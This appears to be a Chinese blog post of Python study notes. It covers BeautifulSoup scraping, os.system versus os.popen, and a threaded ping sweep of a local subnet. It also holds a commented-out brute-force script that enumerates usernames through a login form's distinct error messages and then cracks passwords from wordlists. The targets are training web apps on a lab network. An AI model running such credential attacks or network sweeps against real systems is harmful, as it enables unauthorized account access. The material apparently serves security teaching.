在这里插入代码片
#1.beautifulsoup4库 集成式的正则公式,封装了,使用更方便
from bs4 import BeautifulSoup
#1.实例化bs4对象,参数有字符串和解析器
# bs=BeautifulSoup(html)
#2.获取内容:
#.获取单标签内容
# html_a=bs.find_all('a')
#获取a下的href属性,通过遍历中i的get方法获取属性
# html_a=bs.find_all('a')
# li1=[]
# for i in html_a:
# li1.append(i.get('href'))
# print(li1)
#获取img下的src属性
# html_a=bs.find_all('img')
# li1=[]
# for i in html_a:
# if i.get('src'):
# li1.append(i.get('src'))
# print(li1)
# print(len(li1))
# print(html_a)
# print(len(html_a))
#2.暴力破解:
# import requests
#
# #登录破解
# def login_po(user,password,url='http://10.0.7.143/agileone/index.php/common/login'):
# login_data={
# 'username':user,
# 'password':password,
# 'verifycode': '0000'
# }
# if url=='http://10.0.7.143/agileone/index.php/common/login':
# login_data={
# 'username':user,
# 'password':password
# }
# res=requests.session()
# reoj=res.post(url,data=login_data)
# #成功返回successful
# #用户名错误返回 user_invalid
# #用户名正确,密码错误返回 password_invalid
# return reoj.text
#
# #获取10.0.7.143正确用户名
# def get_users():
# users=[]
# with open('user','r')as f:
# li=f.readlines()
# for i in li:
# re2=login_po(i.strip(),'123456')
# if re2=='password_invalid' or re2=='successful':
# users.append(i.strip())
# return users#列表
#
# #获取10.0.7.143用户名密码
# def get_pass(url):
# passdata={}#定义一个字典,键直不能重复,就是用户名不能重复
# users=get_users()
# with open('pass','r')as f:
# passlist=f.readlines()
# for i in users:
# for j in passlist:
# re2=login_po(i,j.strip(),url)
# if re2=='successful':
# passdata[i]=j.strip()
# # print(f'正确账户密码是{i}和{j.strip()}')
# return passdata
#
# #获取woniusales账户密码
# def get_pass2(url):
# passdata={}#定义一个字典,键直不能重复,就是用户名不能重复
# #失败返回login-fail,成功返回login-pass
# # print(login_po(url, 'admin', 'admin123'))
# fuser=open('user','r')
# fpass = open('pass', 'r')
# username=fuser.readlines()
# password=fpass.readlines()
# for i in username:
# for j in password:
# re1=login_po(i.strip(), j.strip(),url)
# if re1=='login-pass':
# passdata[i.strip()] = j.strip()
# fpass.close()
# fuser.close()
# return passdata
#
# url='http://localhost:8080/woniusales/user/login'
# print(get_pass2(url))
# url2='http://10.0.7.143/agileone/index.php/common/login'
# print(get_pass(url2))
#3.os 阻塞
# system()会阻塞进程,后面不会执行
# popen()不会阻塞进程,多进程并行
import os
# os.popen('calc.exe')
# os.system('calc.exe')
# print(1)
# print(2)
# print(3)
#当前局域网环境中哪些ip被使用:
# #获取
# ip='10.0.7.'
# iplist=[]#10.0.7.1-10.0.7.254的列表
# for i in range(1,255):
# iplist.append(ip+str(i))
#
# #只ping一次 ping xxxx -n 1
# li = 0
# def get_ip(j):
# msg=os.popen(f'ping -n 1 -w 50 {j}').read()
# if 'TTL' in msg:
# global li,li1
# li+=1
# print(f'{j}正在被使用-------{li}')
# else:
# print(f'{j}没有被使用')
#
# def xians(iplist):
# for j in iplist:
# Thread(target=get_ip,args=(j,)).start()
# xians(iplist)
# print(li)
2021-01-12
最新推荐文章于 2021-01-18 09:40:03 发布